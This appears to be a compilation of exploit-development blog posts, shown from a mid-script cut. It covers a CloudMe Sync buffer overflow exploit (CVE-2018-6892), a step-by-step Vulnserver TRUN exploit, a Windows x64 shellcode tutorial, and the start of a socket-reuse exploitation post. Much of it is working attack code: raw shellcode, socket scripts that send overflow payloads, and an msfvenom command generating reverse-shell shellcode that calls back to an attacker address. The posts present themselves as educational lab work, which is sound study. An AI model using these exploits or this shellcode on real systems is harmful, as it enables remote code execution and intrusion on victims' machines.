shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

padding = "D" * (8000-1012-4-4-len(shellcode))


payload = junk + nseh + seh + nops + shellcode + padding

with open(outfile, 'w') as file:
  file.write(payload)
print "txt payload File Created\n"

CloudMe Sync <= v1.10.9

8 July 2019 at 16:07

Product:

CloudMe Sync <= v1.10.9

CloudMe is a file storage service operated by CloudMe AB that offers cloud storage, file synchronization and client software. It features a blue folder that appears on all devices with the same content, all files are synchronized between devices.

Vulnerability Type:

Buffer Overflow

CVE Reference:

CVE-2018-6892

Security Issue:

Unauthenticated remote attackers that can connect to the “CloudMe Sync” client application listening on port 8888, can send a malicious payload causing a Buffer Overflow condition. This will result in an attacker controlling the programs execution flow and allowing arbitrary code execution on the victims PC.

CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8)

socket

In Qt5Core:

q5_network

lets try to send some junk data to our service listening at 8888

crash

this software is very easy as ASLR / SafeSEH are all set to false making the exploit reliable, and universal exploit. as we can also see the crash overwritte eip , edi , ebx in this case . we can see we have two attack vectors via SEH or Stack Based Overflow

#!/usr/bin/python
# tested on windows 7 x86 sp1 enterprise
import socket
import struct

# pop calc.exe

shellcode =  "\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
shellcode += "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
shellcode += "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
shellcode += "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
shellcode += "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
shellcode += "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
shellcode += "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC"


payload = "A" * 1036 + '\x25\xDF\xB8\x68' + "\x90" * 16 + shellcode

try:
    print "\nSending tons of random bytes..."
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.0.27', 8888)) 
    client.send(payload) 
    client.close() 
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 8888 for some reason..."

Windows-Based Exploitation — VulnServer TRUN Command Buffer Overflow

8 July 2019 at 16:07

Vulnserver.exe

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to various types of exploitable buffer overflows.

before we trying to exploit lets explore how this problem works. We identify that this program is a tiny server which exposes a set of commands

help

lets disassembly our TRUN command . how it looks like and it is comparing if it is equal to TRUN by calling _strncmp . So lets add a breakpoint at the top the block ,and dig more

TRUN

we notify it’s checking if the first character of the remaining input is 2EH which is translated to ASCII as .

dot

Let’s debug again but now with an input that starts with a ..

By stepping over a bit further there is an interesting function being called which is named _Function3. using F7 to step into the function we can see that the function copies the content , but there are not any checks for buffer boundaries. literally we could overwrite it

vulnerable

Fuzzing the Vulnserver

we write a simple Fuzzer to replicate the check unexpected crashes incrementing by 200 bytes each time with the following code:

#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
  buffer.append("A"*counter)
  counter=counter+200

for string in buffer:
  print "Fuzzing PASS with %s bytes" % len(string)
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect=s.connect(('192.168.0.27',9999))
  s.recv(1024)
  s.send(('TRUN .' + string + '\r\n'))
  s.recv(1024)
  s.send('EXIT\r\n')
  s.close()

we can see the Vulnserver stop working at 2100 bytes.

Vulnserver

  • Replicating the Crash *

From our fuzzer output, we can deduce that Vulnserver has a buffer overflow vulnerability when a TRUN command with a random strings about 2100 bytes is sent to it.

#!/usr/bin/python
import socket
import struct


payload = 'A' * 2100 

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Controlling EIP

We sent 2100 ‘A’ characters and EIP was overwritten with 41414141, which is the hex code of the ‘A’ character. EIP was overwritten with our buffer. If we find the position of the EIP in our buffer, then we can overwrite it with any value.

Vulnserver_1

to check the exact match of our crash execute the another tool called gdb-peda with the following

Vulnserver_2

Update the PoC script the following: First send 2006 A character, then send 4 B, then C characters.

#!/usr/bin/python
import socket
import struct

payload = 'A' * 2006 + "B" * 4 + "C" * (3500-2006-4)

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Check bad characters

Depending on the application, vulnerability type, and protocols in use, there may be certain characters that are considered “bad” and should not be used in your buffer, return address, or shellcode

we generate a bytearray from the immunity debugger:

Vulnserver_3

the bytearray generated from immunity debugger we update our PoC with them to see what are our bad chars

#!/usr/bin/python
import socket
import struct

badchars =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a"
badchars += "\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15"
badchars += "\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b"
badchars += "\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36"
badchars += "\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
badchars += "\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
badchars += "\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57"
badchars += "\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
badchars += "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d"
badchars += "\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
badchars += "\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83"
badchars += "\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
badchars += "\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
badchars += "\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"
badchars += "\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
badchars += "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba"
badchars += "\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5"
badchars += "\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars += "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb"
badchars += "\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6"
badchars += "\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1"
badchars += "\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc"
badchars += "\xfd\xfe\xff"

payload = 'A' * 2006 + "B" * 4 + "C" * (3500-2006-4-len(badchars))

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

we lauch our PoC and check the output

Vulnserver_4

we have a badchar 0x00 , but I will need to check if there are any other bad char repeating the same process again.

we genarate our new bytearray , but execluding our bad char from the first output.

!mona bytearray -cpb "\x00"

we compare again if any byte were modified from the crash to see our badchar, and we don’t have anyother badchar

Vulnserver_5

Redirecting the Execution Flow

In this step we have to check the registers and the stack. We have to find a way to jump to our buffer to execute our code. ESP points to the beginning of the C part of our buffer. We have to find a JMP ESP or CALL ESP instruction. Do not forget, that the address must not contain bad characters!

Vulnserver_6

Generating Shellcode with Metasploit

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.13 LPORT=8080 -b “\x00” -f python -v shellcode

Place the generated code into the PoC script and update the buffer, so that the shellcode is placed after the EIP, in the C part. Place some NOP instructions before the shellcode. (NOP = 0x90) The final exploit:

#!/usr/bin/python
import socket
import struct

shellcode =  ""
shellcode += "\xb8\xc5\x97\xc9\x70\xdb\xc1\xd9\x74\x24\xf4\x5b"
shellcode += "\x2b\xc9\xb1\x52\x31\x43\x12\x03\x43\x12\x83\x06"
shellcode += "\x93\x2b\x85\x74\x74\x29\x66\x84\x85\x4e\xee\x61"
shellcode += "\xb4\x4e\x94\xe2\xe7\x7e\xde\xa6\x0b\xf4\xb2\x52"
shellcode += "\x9f\x78\x1b\x55\x28\x36\x7d\x58\xa9\x6b\xbd\xfb"
shellcode += "\x29\x76\x92\xdb\x10\xb9\xe7\x1a\x54\xa4\x0a\x4e"
shellcode += "\x0d\xa2\xb9\x7e\x3a\xfe\x01\xf5\x70\xee\x01\xea"
shellcode += "\xc1\x11\x23\xbd\x5a\x48\xe3\x3c\x8e\xe0\xaa\x26"
shellcode += "\xd3\xcd\x65\xdd\x27\xb9\x77\x37\x76\x42\xdb\x76"
shellcode += "\xb6\xb1\x25\xbf\x71\x2a\x50\xc9\x81\xd7\x63\x0e"
shellcode += "\xfb\x03\xe1\x94\x5b\xc7\x51\x70\x5d\x04\x07\xf3"
shellcode += "\x51\xe1\x43\x5b\x76\xf4\x80\xd0\x82\x7d\x27\x36"
shellcode += "\x03\xc5\x0c\x92\x4f\x9d\x2d\x83\x35\x70\x51\xd3"
shellcode += "\x95\x2d\xf7\x98\x38\x39\x8a\xc3\x54\x8e\xa7\xfb"
shellcode += "\xa4\x98\xb0\x88\x96\x07\x6b\x06\x9b\xc0\xb5\xd1"
shellcode += "\xdc\xfa\x02\x4d\x23\x05\x73\x44\xe0\x51\x23\xfe"
shellcode += "\xc1\xd9\xa8\xfe\xee\x0f\x7e\xae\x40\xe0\x3f\x1e"
shellcode += "\x21\x50\xa8\x74\xae\x8f\xc8\x77\x64\xb8\x63\x82"
shellcode += "\xef\x07\xdb\x8c\xe2\xef\x1e\x8c\xe3\x7f\x97\x6a"
shellcode += "\x71\x90\xfe\x25\xee\x09\x5b\xbd\x8f\xd6\x71\xb8"
shellcode += "\x90\x5d\x76\x3d\x5e\x96\xf3\x2d\x37\x56\x4e\x0f"
shellcode += "\x9e\x69\x64\x27\x7c\xfb\xe3\xb7\x0b\xe0\xbb\xe0"
shellcode += "\x5c\xd6\xb5\x64\x71\x41\x6c\x9a\x88\x17\x57\x1e"
shellcode += "\x57\xe4\x56\x9f\x1a\x50\x7d\x8f\xe2\x59\x39\xfb"
shellcode += "\xba\x0f\x97\x55\x7d\xe6\x59\x0f\xd7\x55\x30\xc7"
shellcode += "\xae\x95\x83\x91\xae\xf3\x75\x7d\x1e\xaa\xc3\x82"
shellcode += "\xaf\x3a\xc4\xfb\xcd\xda\x2b\xd6\x55\xea\x61\x7a"
shellcode += "\xff\x63\x2c\xef\xbd\xe9\xcf\xda\x82\x17\x4c\xee"
shellcode += "\x7a\xec\x4c\x9b\x7f\xa8\xca\x70\xf2\xa1\xbe\x76"
shellcode += "\xa1\xc2\xea"

payload = 'A' * 2006 + struct.pack("<L",0x625011AF) + '\x90' * 16 + shellcode

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Done! Wonder if we got that shell back?

Vulnserver_7

Writing shellcodes for Windows x64

30 June 2019 at 16:01

Long time ago I wrote three detailed blog posts about how to write shellcodes for Windows (x86 – 32 bits). The articles are beginner friendly and contain a lot of details. First part explains what is a shellcode and which are its limitations, second part explains PEB (Process Environment Block), PE (Portable Executable) file format and the basics of ASM (Assembler) and the third part shows how a Windows shellcode can be actually implemented.

This blog post is the port of the previous articles on Windows 64 bits (x64) and it will not cover all the details explained in the previous blog posts, so who is not familiar with all the concepts of shellcode development on Windows must see them before going further.

Of course, the differences between x86 and x64 shellcode development on Windows, including ASM, will be covered here. However, since I already write some details about Windows 64 bits on the Stack Based Buffer Overflows on x64 (Windows) blog post, I will just copy and paste them here.

As in the previous blog posts, we will create a simple shellcode that swaps the mouse buttons using SwapMouseButton function exported by user32.dll and grecefully close the proccess using ExitProcess function exported by kernel32.dll.

ASM for x64

There are multiple differences in Assembly that need to be understood in order to proceed. Here we will talk about the most important changes between x86 and x64 related to what we are going to do.

Please note that this article is for educational purposes only. It has to be simple, meaning that, of course, there are a lot of optimizations that can be done for the resulted shellcode to be smaller and faster.

First of all, the registers are now the following:

  • The general purpose registers are the following: RAX, RBX, RCX, RDX, RSI, RDI, RBP and RSP. They are now 64 bit (8 bytes) instead of 32 bits (4 bytes).
  • The EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP represent the last 4 bytes of the previously mentioned registers. They hold 32 bits of data.
  • There are a few new registers: R8, R9, R10, R11, R12, R13, R14, R15, also holding 64 bits.
  • It is possible to use R8d, R9d etc. in order to access the last 4 bytes, as you can do it with EAX, EBX etc.
  • Pushing and poping data on the stack will use 64 bits instead of 32 bits

Calling convention

Another important difference is the way functions are called, the calling convention.

Here are the most important things we need to know:

  • First 4 parameters are not placed on the stack. First 4 parameters are specified in the RCX, RDX, R8 and R9 registers.
  • If there are more than 4 parameters, the other parameters are placed on the stack, from left to right.
  • Similar to x86, the return value will be available in the RAX register.
  • The function caller will allocate stack space for the arguments used in registers (called “shadow space” or “home space”). Even if when a function is called the parameters are placed in registers, if the called function needs to modify the registers, it will need some space to store them, and this space will be the stack. The function caller will have to allocate this space before the function call and to deallocate it after the function call. The function caller should allocate at least 32 bytes (for the 4 registers), even if they are not all used.
  • The stack has to be 16 bytes aligned before any call instruction. Some functions might allocate 40 (0x28) bytes on the stack (32 bytes for the 4 registers and 8 bytes to align the stack from previous usage – the return RIP address pushed on the stack) for this purpose. You can find more details here.
  • Some registers are volatile and other are nonvolatile. This means that if we set some values into a register and call some function (e.g. Windows API) the volatile register will probably change while nonvolatile register will preserve their values.

More details about calling convention on Windows can be found here.

Function calling example

Let’s take a simple example in order to understand those things. Below is a function that does a simple addition, and it is called from main.

#include "stdafx.h"

int Add(long x, int y)
{
    int z = x + y;
    return z;
}

int main()
{
    Add(3, 4);
    return 0;
}

Here is a possible output, after removing all optimizations and security features.

Main function:

sub rsp,28
mov edx,4
mov ecx,3
call <consolex64.Add>
xor eax,eax
add rsp,28
ret

We can see the following:

  1. sub rsp,28 – This will allocate 0x28 (40) bytes on the stack, as we discussed: 32 bytes for the register arguments and 8 bytes for alignment.
  2. mov edx,4 – This will place in EDX register the second parameter. Since the number is small, there is no need to use RDX, the result is the same.
  3. mov ecx,3 – The value of the first argument is place in ECX register.
  4. call <consolex64.Add> – Call the “Add” function.
  5. xor eax,eax – Set EAX (or RAX) to 0, as it will be the return value of main.
  6. add rsp,28 – Clears the allocated stack space.
  7. ret – Return from main.

Add function:

mov dword ptr ss:[rsp+10],edx
mov dword ptr ss:[rsp+8],ecx
sub rsp,18
mov eax,dword ptr ss:[rsp+28]
mov ecx,dword ptr ss:[rsp+20]
add ecx,eax
mov eax,ecx
mov dword ptr ss:[rsp],eax
mov eax,dword ptr ss:[rsp]
add rsp,18
ret

Let’s see how this function works:

  1. mov dword ptr ss:[rsp+10],edx – As we know, the arguments are passed in ECX and EDX registers. But what if the function needs to use those registers (however, please note that some registers must be preserved by a function call, these registers are the following: RBX, RBP, RDI, RSI, R12, R13, R14 and R15)? In this case, the function will use the “shadow space” (“home space”) allocated by the function caller. With this instruction, the function saves on the shadow space the second argument (the value 4), from EDX register.
  2. mov dword ptr ss:[rsp+8],ecx – Similar to the previous instruction, this one will save on the stack the first argument (value 3) from the ECX register
  3. sub rsp,18 – Allocate 0x18 (or 24) bytes on the stack. This function does not call other function, so it is not needed to allocate at least 32 bytes. Also, since it does not call other functions, it is not required to align the stack to 16 bytes. I am not sure why it allocates 24 bytes, it looks like the “local variables area” on the stack has to be aligned to 16 bytes and the other 8 bytes might be used for the stack alignment (as previously mentioned).
  4. mov eax,dword ptr ss:[rsp+28] – Will place in EAX register the value of the second parameter (value 4).
  5. mov ecx,dword ptr ss:[rsp+20] – Will place in ECX register the value of the first parameter (value 3).
  6. add ecx,eax – Will add to ECX the value of the EAX register, so ECX will become 7.
  7. mov eax,ecx – Will save the same value (the sum) into EAX register.
  8. mov dword ptr ss:[rsp],eax and mov eax,dword ptr ss:[rsp] look like they are some effects of the removed optimizations, they don’t do anything useful.
  9. add rsp,18 – Cleanup the allocated stack space.
  10. ret – Return from the function

Writing ASM on Windows x64

There are multiple ways to write assembler on Windows x64. I will use NASM and the linker provided by Microsoft Visual Studio Community.

I will use the x64.asm file to write the assembler code, the NASM will output x64.obj and the linker will create x64.exe. To keep this process simple, I created a simple Windows Batch script:

del x64.obj
del x64.exe
nasm -f win64 x64.asm -o x64.obj
link /ENTRY:main /MACHINE:X64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE x64.obj

You can run it using “x64 Native Tools Command Prompt for VS 2019” where “link” is available directly. Just not forget to add NASM binaries directory to the PATH environment variable.

To test the shellcode I open the resulted binary in x64bdg and go through the code step by step. This way, we can be sure everything is OK.

Before starting with the actual shellcode, we can start with the following:

BITS 64
SECTION .text
global main
main:

sub   RSP, 0x28                 ; 40 bytes of shadow space
and   RSP, 0FFFFFFFFFFFFFFF0h   ; Align the stack to a multiple of 16 bytes

This will specify a 64 bit code, with a “main” function in the “.text” (code) section. The code will also allocate some stack space and align the stack to a multiple of 16 bytes.

Find kernel32.dll base address

As we know, the first step in the shellcode development process for Windows is to find the base address of kernel32.dll, the memory address where it is loaded. This will help us to find its useful exported functions: GetProcAddress and LoadLibraryA which we can use to achive our goals.

We will start finding the TEB (Thread Environment Block), the structure that contains thread information in usermode and we can find it using GS register, ar gs:[0x00]. This structure also contains a pointer to the PEB (Process Envrionment Block) at offset 0x60.

The PEB contains the “Loader” (Ldr) at offset 0x18 which contains the “InMemoryOrder” list of modules at offset 0x20. As we did for x86, first module will be the executable, the second one ntdll.dll and the third one kernel32.dll which we want to find. This means we will go through a linked list (LIST_ENTRY structure which contains to LIST_ENTRY* pointers, Flink and Blink, 8 bytes each on x64).

After we find the third module, kernel32.dll, we just need to go to offset 0x20 to get its base address and we can start doing our stuff.

Below is how we can get the base address of kernel32.dll using PEB and store it in the RBX register:

; Parse PEB and find kernel32

xor rcx, rcx             ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18]    ; RAX = PEB->Ldr
mov rsi, [rax + 0x20]    ; RSI = PEB->Ldr.InMemOrder
lodsq                    ; RAX = Second module
xchg rax, rsi            ; RAX = RSI, RSI = RAX
lodsq                    ; RAX = Third(kernel32)
mov rbx, [rax + 0x20]    ; RBX = Base address

Find the address of GetProcAddress function

It is really similar to find the address of GetProcAddress function, the only difference would be the offset of export table which is 0x88 instead of 0x78.

The steps are the same:

  1. Go to the PE header (offset 0x3c)
  2. Go to Export table (offset 0x88)
  3. Go to the names table (offset 0x20)
  4. Get the function name
  5. Check if it starts with “GetProcA”
  6. Go to the ordinals table (offset 0x24)
  7. Get function number
  8. Go to the address table (offset 0x1c)
  9. Get the function address

Below is the code that can help us find the address of GetProcAddress:

; Parse kernel32 PE

xor r8, r8                 ; Clear r8
mov r8d, [rbx + 0x3c]      ; R8D = DOS->e_lfanew offset
mov rdx, r8                ; RDX = DOS->e_lfanew
add rdx, rbx               ; RDX = PE Header
mov r8d, [rdx + 0x88]      ; R8D = Offset export table
add r8, rbx                ; R8 = Export table
xor rsi, rsi               ; Clear RSI
mov esi, [r8 + 0x20]       ; RSI = Offset namestable
add rsi, rbx               ; RSI = Names table
xor rcx, rcx               ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA

; Loop through exported functions and find GetProcAddress

Get_Function:

inc rcx                    ; Increment the ordinal
xor rax, rax               ; RAX = 0
mov eax, [rsi + rcx * 4]   ; Get name offset
add rax, rbx               ; Get function name
cmp QWORD [rax], r9        ; GetProcA ?
jnz Get_Function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x24]       ; ESI = Offset ordinals
add rsi, rbx               ; RSI = Ordinals table
mov cx, [rsi + rcx * 2]    ; Number of function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x1c]       ; Offset address table
add rsi, rbx               ; ESI = Address table
xor rdx, rdx               ; RDX = 0
mov edx, [rsi + rcx * 4]   ; EDX = Pointer(offset)
add rdx, rbx               ; RDX = GetProcAddress
mov rdi, rdx               ; Save GetProcAddress in RDI

Please note that this has to be done carefully. Some structures from the PE file are not 8 bytes, while we need in the end 8 bytes pointers. This is why in the code above there are registers such as ESI or CX used.

Find the address of LoadLibraryA

Since we have the address of GetProcAddress and the base address of kernel32.dll, we can use them to call GetProcAddress(kernel32.dll, “LoadLibraryA”) and find the address of LoadLibraryA function.

However, it is something important we need to be careful about: we will use the stack to place our strings (e.g. “LoadLibraryA”) and this might break the stack alignment, so we need to make sure it is 16 bytes alligned. Also, we must not forget about the stack space that we need to allocate for a function call, because the function we call might use it. So, we need to place our string on the stack and just after this to allocate space for the function we call (e.g. GetProcAddress).

Finding the address of LoadLibraryA is pretty straightforward:

; Use GetProcAddress to find the address of LoadLibrary

mov rcx, 0x41797261          ; aryA
push rcx                     ; Push on the stack
mov rcx, 0x7262694c64616f4c  ; LoadLibr
push rcx                     ; Push on stack
mov rdx, rsp                 ; LoadLibraryA
mov rcx, rbx                 ; kernel32.dll base address
sub rsp, 0x30                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
add rsp, 0x30                ; Cleanup allocated stack space
add rsp, 0x10                ; Clean space for LoadLibrary string
mov rsi, rax                 ; LoadLibrary saved in RSI

We put the “LoadLibraryA” string on the stack, setup RCX and RDX registers, allocate space on the stack for the function call, call GetProcAddress and cleanup the stack. As a result, we will store the LoadLibraryA address in the RSI register.

Load user32.dll using LoadLibraryA

Since we have the address of LoadLibraryA function, it is pretty simple to call LoadLibraryA(“user32.dll”) to load user32.dll and find out its base address which will be returned by LoadLibraryA.

mov rcx, 0x6c6c               ; ll
push rcx                      ; Push on the stack
mov rcx, 0x642e323372657375   ; user32.d
push rcx                      ; Push on stack
mov rcx, rsp                  ; user32.dll
sub rsp, 0x30                 ; Allocate stack space for function call
call rsi                      ; Call LoadLibraryA
add rsp, 0x30                 ; Cleanup allocated stack space
add rsp, 0x10                 ; Clean space for user32.dll string
mov r15, rax                  ; Base address of user32.dll in R15

The function will return the base address of the user32.dll module into RAX and we will save it in the R15 register.

Find the address of SwapMouseButton function

We have the address of GetProcAddress, the base address of user32.dll and we know the function is called “SwapMouseButton”. So we just need to call GetProcAddress(user32.dll, “SwapMouseButton”);

Please note that when we allocate space on stack for the function call, we do not allocate anymore 0x30 (48) bytes, we allocate only 0x28 (40) bytes. This is because to place our string (“SwapMouseButton”) on the stack we use 3 PUSH instructions, so we get 0x18 (24) bytes of data, which is not a multiple of 16. So we use 0x28 instead of 0x30 to align the stack to 16 bytes.

; Call GetProcAddress(user32.dll, "SwapMouseButton")

xor rcx, rcx                  ; RCX = 0
push rcx                      ; Push 0 on stack
mov rcx, 0x6e6f7474754265     ; eButton
push rcx                      ; Push on the stack
mov rcx, 0x73756f4d70617753   ; SwapMous
push rcx                      ; Push on stack
mov rdx, rsp                  ; SwapMouseButton
mov rcx, r15                  ; User32.dll base address
sub rsp, 0x28                 ; Allocate stack space for function call
call rdi                      ; Call GetProcAddress
add rsp, 0x28                 ; Cleanup allocated stack space
add rsp, 0x18                 ; Clean space for SwapMouseButton string
mov r15, rax                  ; SwapMouseButton in R15

GetProcAddress will return in RAX the address of SwapMouseButton function and we will save it into R15 register.

Call SwapMouseButton

Well, we have its address, it should be pretty easy to call it. We do not have any issue as we previously cleaned up and we do not need to alter the stack in this function call. So we just set the RCX register to 1 (meaning true) and call it.

; Call SwapMouseButton(true)

mov rcx, 1    ; true
call r15      ; SwapMouseButton(true)

Find the address of ExitProcess function

As we already did before, we use GetProcAddress to find the address of ExitProcess function exported by the kernel32.dll. We still have the kernel32.dll base address in RBX (which is a nonvolatile register and this is why it is used) so it is simple:

; Call GetProcAddress(kernel32.dll, "ExitProcess")

xor rcx, rcx                 ; RCX = 0
mov rcx, 0x737365            ; ess
push rcx                     ; Push on the stack
mov rcx, 0x636f725074697845  ; ExitProc
push rcx                     ; Push on stack
mov rdx, rsp                 ; ExitProcess
mov rcx, rbx                 ; Kernel32.dll base address
sub rsp, 0x30                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
add rsp, 0x30                ; Cleanup allocated stack space
add rsp, 0x10                ; Clean space for ExitProcess string
mov r15, rax                 ; ExitProcess in R15

We save the address of ExitProcess function in R15 register.

ExitProcess

Since we do not want to let the process to crash, we can “gracefully” exit by calling the ExitProcess function. We have the address, the stack is aligned, we have just to call it.

; Call ExitProcess(0)

mov rcx, 0     ; Exit code 0
call r15       ; ExitProcess(0)

Conclusion

There are many articles about Windows shellcode development on x64, such as this one or this one, but I just wanted to tell the story my way, following the previously written articles.

The shellcode is far away from being optimized and it also contains NULL bytes. However, both of these limitations can be improved.

Shellcode development is fun and swithing from x86 to x64 is needed, because x86 will not be used too much in the future.

Or course, I will add support for Windows x64 in Shellcode Compiler.

If you have any question, please add a comment or contact me.

Using Socket Reuse to Exploit Vulnserver

21 June 2019 at 00:00

When creating exploits, sometimes you may run into a scenario where your payload space is significantly limited. There are usually a magnitude of ways that you can work around this, one of those ways, which will be demonstrated in this post, is socket reuse.

What is Socket Reuse?

Before we dive into a practical example, it’s important to cover some basics as to how network based applications work. Although the target audience of this post will most likely know this, let’s go over it for completeness sake!

Below is a small diagram (courtesy of Dartmouth) which illustrates the sequence of function calls that will typically be found in a client-server application:

As you can see, before any connection is made from either the server or client, a socket is first created. A socket can then either be passed to a listen function (indicating that it should listen for new connections and accept them), or passed to a connect function (indicating it should connect to another socket that is listening elsewhere); simple stuff.

Now, as a socket represents a connection to another host, if you have access to it - you can freely call the corresponding send or recv functions to perform network operations. This is the end goal of a socket reuse exploit.

By identifying the location of a socket, it is possible to listen for more data using the recv function and dump it into an area of memory that it can then be executed from - all with only a handful of instructions that should fit into even small payload spaces.

You may be asking - why not just create a new socket? The reason for this, is that a socket is bound to a port - meaning you are not able to create a new socket on a port that is already in use. If you were to create a socket listening on a different port altogether, it would lose reliability given most targets would typically be behind a firewall.

Tools Required to Follow Along

For the demonstration in this post, I’ll be using the 32-bit version of x64dbg running on Windows 10. The same steps will most likely work in most other debuggers too, but x64dbg is my program of choice!

Creating the Initial Exploit

Now that you’re hopefully caught up on how socket programming works, let’s dive in. To demonstrate this concept, we’ll be using the Vulnserver application developed by Stephen Bradshaw which you can grab on GitHub from: https://github.com/stephenbradshaw/vulnserver

Rather than explaining the initial overflow, we’ll start off with the proof of concept below, which will overwrite EIP with \x42\x42\x42\x42. We will then build upon this through this post:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x41' * 70
buffer += '\x42' * 4
buffer += '\x43' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

If we load vulnserver.exe up in x64dbg and fire the exploit at it as is, we will be able to see that at the point of crash, the stack pointer [$esp] is pointing to the area that directly follows the EIP overwrite.

Although we sent a total of 500 bytes in this position, this has been heavily truncated to only 20 bytes. This is a big problem, as this won’t suffice for the operations we wish to carry out. However, we do have the full 70 byte \x41 island that precedes the EIP overwrite at our disposal. As long as we can pass execution into the 20 byte island that follows the overwrite, we can do a short jump back into the 70 byte island.
